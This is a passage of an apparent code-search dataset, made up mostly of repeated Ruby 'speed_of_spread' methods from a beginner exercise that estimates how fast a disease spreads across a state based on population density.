0.0\r\n threshold = (@population_density/50).floor\r\n\r\n if @population_density >= 200\r\n speed += 0.5\r\n # elsif @population_density >= 150\r\n # speed += 1\r\n # elsif @population_density >= 100\r\n # speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "title": "" }, { "docid": "f054fbe4cc6cbcf1ced1ed02b78bb267", "score": "0.581045", "text": "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density >= 150\r\n speed += 1\r\n elsif @population_density >= 100\r\n speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n end", "title": "" }, { "docid": "953ef8675e38ea6fc93d4932a42ad4f7", "score": "0.58101076", "text": "def demand\n # regressie toepassen uit analyse\n (demand_28d_before * 0.9526 + 29.8462).round\n end", "title": "" }, { "docid": "536dd0019757a96a9c1bc998d7be9d30", "score": "0.5806658", "text": "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density >= 50 && @population_density < 200\r\n speed = 2.5 - (0.5)*(@population_density.to_i / 50.to_i).to_f\r\n # elsif @population_density >= 150\r\n # speed += 1\r\n # elsif @population_density >= 100\r\n # speed += 1.5\r\n # elsif @population_density >= 50\r\n # speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "title": "" }, { "docid": "39f33c50e075e4ddc5551d419696c7c0", "score": "0.58036405", "text": "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density >= 150\r\n speed += 1\r\n elsif @population_density >= 100\r\n speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "title": "" }, { "docid": "39f33c50e075e4ddc5551d419696c7c0", "score": "0.58036405", "text": "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density >= 150\r\n speed += 1\r\n elsif @population_density >= 100\r\n speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "title": "" }, { "docid": "39f33c50e075e4ddc5551d419696c7c0", "score": "0.58036405", "text": "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density >= 150\r\n speed += 1\r\n elsif @population_density >= 100\r\n speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "title": "" }, { "docid": "39f33c50e075e4ddc5551d419696c7c0", "score": "0.58036405", "text": "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density >= 150\r\n speed += 1\r\n elsif @population_density >= 100\r\n speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "title": "" }, { "docid": "39f33c50e075e4ddc5551d419696c7c0", "score": "0.58036405", "text": "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density >= 150\r\n speed += 1\r\n elsif @population_density >= 100\r\n speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "title": "" }, { "docid": "39f33c50e075e4ddc5551d419696c7c0", "score": "0.58036405", "text": "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density >= 150\r\n speed += 1\r\n elsif @population_density >= 100\r\n speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "title": "" }, { "docid": "39f33c50e075e4ddc5551d419696c7c0", "score": "0.58036405", "text": "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density >= 150\r\n speed += 1\r\n elsif @population_density >= 100\r\n speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "title": "" }, { "docid": "39f33c50e075e4ddc5551d419696c7c0", "score": "0.58036405", "text": "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density >= 150\r\n speed += 1\r\n elsif @population_density >= 100\r\n speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "title": "" }, { "docid": "39f33c50e075e4ddc5551d419696c7c0", "score": "0.58036405", "text": "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density >= 150\r\n speed += 1\r\n elsif @population_density >= 100\r\n speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "title": "" }, { "docid": "39f33c50e075e4ddc5551d419696c7c0", "score": "0.58036405", "text": "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density >= 150\r\n speed += 1\r\n elsif @population_density >= 100\r\n speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "title": "" }, { "docid": "39f33c50e075e4ddc5551d419696c7c0", "score": "0.58036405", "text": "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density >= 150\r\n speed += 1\r\n elsif @population_density >= 100\r\n speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "title": "" }, { "docid": "39f33c50e075e4ddc5551d419696c7c0", "score": "0.58036405", "text": "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density >= 150\r\n speed += 1\r\n elsif @population_density >= 100\r\n speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "title": "" }, { "docid": "39f33c50e075e4ddc5551d419696c7c0", "score": "0.58036405", "text": "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density >= 150\r\n speed += 1\r\n elsif @population_density >= 100\r\n speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "title": "" }, { "docid": "39f33c50e075e4ddc5551d419696c7c0", "score": "0.58036405", "text": "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density >= 150\r\n speed += 1\r\n elsif @population_density >= 100\r\n speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "title": "" }, { "docid": "a9adcfecea42aa6557abf5419569d9f0", "score": "0.57998765", "text": "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density >= 150\r\n speed += 1\r\n elsif @population_density >= 100\r\n speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n end", "title": "" }, { "docid": "3dab88d4ac3614cfdb6631165a5ea36c", "score": "0.57953745", "text": "def speed_of_spread #in months\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n end", "title": "" }, { "docid": "9a1a4812482c61eff3c42100ed9ab120", "score": "0.5794446", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n speed\n end", "title": "" }, { "docid": "4a16347495b0880a53d68c1a8016fd3c", "score": "0.57925075", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n # speed = 0.0\n\n if population_density >= 200\n 0.5\n elsif population_density >= 150\n 1\n elsif population_density >= 100\n 1.5\n elsif population_density >= 50\n 2\n else\n 2.5\n end \n\n end", "title": "" }, { "docid": "890fd06dbb47b37bb6f189f42fb6ce20", "score": "0.5792363", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n​\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n​\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n end", "title": "" }, { "docid": "f8469798bd917905af3dd0447232153c", "score": "0.5792232", "text": "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 150 / @population_density \r\n\r\n speed = 0.0\r\n\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density >= 150\r\n speed += 1\r\n elsif @population_density >= 100\r\n speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "title": "" }, { "docid": "94ade60dc30be2240f98c77eb23b67e0", "score": "0.57910264", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n #This is a tentative refactor:\n # speed = 3\n # counter = 200\n # until @population_density <= counter\n # speed += 0.5\n # counter -= 50\n # end\n speed = 0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "title": "" }, { "docid": "60fa9fbefbe8f530026fc964a5355ba4", "score": "0.5788276", "text": "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n\r\n if @population_density >= 200\r\n speed = 0.5\r\n elsif @population_density >= 150\r\n speed = 1\r\n elsif @population_density >= 100\r\n speed = 1.5\r\n elsif @population_density >= 50\r\n speed = 2\r\n else\r\n speed = 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "title": "" }, { "docid": "60fa9fbefbe8f530026fc964a5355ba4", "score": "0.5788276", "text": "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n\r\n if @population_density >= 200\r\n speed = 0.5\r\n elsif @population_density >= 150\r\n speed = 1\r\n elsif @population_density >= 100\r\n speed = 1.5\r\n elsif @population_density >= 50\r\n speed = 2\r\n else\r\n speed = 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "title": "" }, { "docid": "60fa9fbefbe8f530026fc964a5355ba4", "score": "0.5788276", "text": "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n\r\n if @population_density >= 200\r\n speed = 0.5\r\n elsif @population_density >= 150\r\n speed = 1\r\n elsif @population_density >= 100\r\n speed = 1.5\r\n elsif @population_density >= 50\r\n speed = 2\r\n else\r\n speed = 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "title": "" }, { "docid": "9665be93556414b5eb30a84bc5edd2f1", "score": "0.5787946", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n end", "title": "" }, { "docid": "d15548cc05c9302e41087b61fa1229d5", "score": "0.5784375", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n STATE_FORMULA.each do |state_size, calculation|\n if @population_density >= calculation[:pop_density]\n return speed += calculation[:speed]\n end\n end\n speed += 2.5\n end", "title": "" }, { "docid": "3902456f3add7e36835ada938b86e517", "score": "0.57838666", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if self.population_density >= 200\n speed += 0.5\n elsif self.population_density >= 150\n speed += 1\n elsif self.population_density >= 100\n speed += 1.5\n elsif self.population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "title": "" }, { "docid": "c16b9154520e2bdff28e587cc1d2c5f1", "score": "0.57818115", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1.0\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2.0\n else\n speed += 2.5\n end\n end", "title": "" }, { "docid": "aae6fc38b5c41bcd32730aa5a4b22a92", "score": "0.57802796", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed = 0.5\n elsif @population_density >= 150\n speed = 1\n elsif @population_density >= 100\n speed = 1.5\n elsif @population_density >= 50\n speed = 2\n else\n speed = 2.5\n end\n end", "title": "" }, { "docid": "34c816467ff375b5b6459fe22cee4f90", "score": "0.5777728", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n \n \n \n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "title": "" }, { "docid": "592c2cc3b0b4aa8c581e07975bdb4f38", "score": "0.5774304", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n speed += 0.5\n\n # if @population_density >= 200\n # speed += 0.5\n # elsif @population_density >= 150\n # speed += 1\n # elsif @population_density >= 100\n # speed += 1.5\n # elsif @population_density >= 50\n # speed += 2\n # else\n # speed += 2.5\n # end\n\n 200.step(0, -50) do |n|\n if @population_density >= n\n break\n else\n speed += 0.5\n end\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "title": "" }, { "docid": "4c44fe2be5989ac40ea83f51a4340298", "score": "0.57725495", "text": "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n # speed = 0.0\r\n if @population_density >= 200\r\n speed = 0.5\r\n elsif @population_density >= 150\r\n speed = 1.0\r\n elsif @population_density >= 100\r\n speed = 1.5\r\n elsif @population_density >= 50\r\n speed = 2.0\r\n else\r\n speed = 2.5\r\n end\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n end", "title": "" }, { "docid": "3a66a04a5c86caba81438bfae7cdc24a", "score": "0.57697874", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n case true\n when @population_density >= 200 then speed += 0.5\n when @population_density >= 150 then speed += 1\n when @population_density >= 100 then speed += 1.5\n when @population_density >= 50 then speed += 2\n else speed += 2.5\n end\n end", "title": "" }, { "docid": "25eca70f1e9994cd5bf666e317957a89", "score": "0.5768549", "text": "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n # speed = 0.0\r\n\r\n # if @population_density >= 200\r\n # speed += 0.5\r\n # elsif @population_density >= 150\r\n # speed += 1\r\n # elsif @population_density >= 100\r\n # speed += 1.5\r\n # elsif @population_density >= 50\r\n # speed += 2\r\n # else\r\n # speed += 2.5\r\n # end\r\n\r\n if @population_density > 200\r\n speed = 0.5\r\n else\r\n speed = 2.5 - (@population_density.floor/50 * 0.5)\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "title": "" }, { "docid": "331da458509d506fa25244714443ecc2", "score": "0.5766703", "text": "def speed_of_spread() #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density >= 150\r\n speed += 1\r\n elsif @population_density >= 100\r\n speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "title": "" }, { "docid": "c37023db24653fbb4eef5b89e3d25a0a", "score": "0.57658607", "text": "def speed_of_spread #in months. removed variables because they exist in initialize/instance variables\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n speed = 0.0\r\n\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density >= 150\r\n speed += 1\r\n elsif @population_density >= 100\r\n speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "title": "" }, { "docid": "d384a1ad6eec384a3c04c06ba37fd001", "score": "0.5765483", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n if self.population_density >= 200\n speed += 0.5\n elsif self.population_density >= 150\n speed += 1\n elsif self.population_density >= 100\n speed += 1.5\n elsif self.population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n end", "title": "" }, { "docid": "4b7174b30b023fae27f8816e2ab9947b", "score": "0.57653975", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n \n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "title": "" }, { "docid": "1885a24b955066ae1f2c99401b235778", "score": "0.5762092", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0 # this is a useless line of code. speed need not be initialized.\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "title": "" }, { "docid": "fbbcc9d76bf79fc9955805089c465a19", "score": "0.5761733", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n time = 0.0\n\n if @population_density >= 200\n time += 0.5\n elsif @population_density >= 150\n time += 1\n elsif @population_density >= 100\n time += 1.5\n elsif @population_density >= 50\n time += 2\n else\n time += 2.5\n end\n\n puts \" and will spread across the state in #{time} months.\\n\\n\"\n\n end", "title": "" }, { "docid": "03d39b2d7fbca930ae638455c160e597", "score": "0.5760812", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200 \n speed += 0.5 \n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n \n else\n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "title": "" }, { "docid": "00e8838ce690b2d55f1b3a357650bfdd", "score": "0.575831", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n\tspeed = 0.0\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n end", "title": "" }, { "docid": "ee68509365e39dbb5ab6115e302515c1", "score": "0.57577187", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n\n puts \" the virus will spread across the state in #{speed} months.\\n\\n\"\n\n\n end", "title": "" }, { "docid": "f18332ebb62ecfa5b3b13751869f12d3", "score": "0.57576925", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n # if @population_density >= 200\n # speed += 0.5\n # elsif @population_density >= 150\n # speed += 1\n # elsif @population_density >= 100\n # speed += 1.5\n # elsif @population_density >= 50\n # speed += 2\n # else\n # speed += 2.5\n # end\n \n additional_speed = {200 => 0.5, 150 => 1, 100 => 1.5, 50 => 2}\n \n addon = 2.5\n additional_speed.each do |density, addend| \n if @population_density >= density\n addon = addend\n break\n end\n end\n \n speed += addon\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n end", "title": "" }, { "docid": "860d40736342c36a9ac7a94827418bd1", "score": "0.5757343", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 2.5\n \n if @population_density >= 200\n speed -= 2\n elsif @population_density >= 150\n speed -= 1.5\n elsif @population_density >= 100\n speed -= 1\n elsif @population_density >= 50\n speed -= 0.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "title": "" }, { "docid": "5b7f5951714424d87e8608463e37f830", "score": "0.5757065", "text": "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n\r\n case @population_density\r\n when 200..Float::INFINITY\r\n speed = 0.5\r\n when 150..199\r\n speed = 1\r\n when 100..149\r\n speed = 1.5\r\n when 50..99\r\n speed = 2\r\n else\r\n speed = 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "title": "" }, { "docid": "5b7f5951714424d87e8608463e37f830", "score": "0.5757065", "text": "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n\r\n case @population_density\r\n when 200..Float::INFINITY\r\n speed = 0.5\r\n when 150..199\r\n speed = 1\r\n when 100..149\r\n speed = 1.5\r\n when 50..99\r\n speed = 2\r\n else\r\n speed = 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "title": "" }, { "docid": "54a46e97a77f5f28531ce5ca842e28e8", "score": "0.5755033", "text": "def speed_of_spread \r\n #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n\r\n speed = 0.0\r\n\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density >= 150\r\n speed += 1\r\n elsif @population_density >= 100\r\n speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n\r\n end", "title": "" }, { "docid": "b042a4b29c84f4538a94a78a2a6e3de4", "score": "0.5752672", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "title": "" }, { "docid": "e4882c36beb42ada1e9d34a99d74e601", "score": "0.5752623", "text": "def speed_of_spread #in months\r\n # We are still perfecting our formula here. The speed is also affected\r\n # by additional factors we haven't added into this functionality.\r\n\r\n if @population_density >= 200\r\n speed += 0.5\r\n elsif @population_density >= 150\r\n speed += 1\r\n elsif @population_density >= 100\r\n speed += 1.5\r\n elsif @population_density >= 50\r\n speed += 2\r\n else\r\n speed += 2.5\r\n end\r\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\r\n end", "title": "" }, { "docid": "60e382ee7ad9f1948e4324eb85c5adcf", "score": "0.57498336", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "title": "" }, { "docid": "60e382ee7ad9f1948e4324eb85c5adcf", "score": "0.57498336", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "title": "" }, { "docid": "fa1cc8a1504d29ab167d3afc2569b05c", "score": "0.57470924", "text": "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n # if @population_density >= 200\n # speed += 0.5\n # elsif @population_density >= 150\n # speed += 1\n # elsif @population_density >= 100\n # speed += 1.5\n # elsif @population_density >= 50\n # speed += 2\n # else\n # speed += 2.5\n # end\n \n additional_speed = {200 => 0.5, 150 => 1, 100 => 1.5, 50 => 2}\n \n addon = 2.5\n additional_speed.each do |density, addend| \n if @population_density >= density\n addon = addend\n break\n end\n 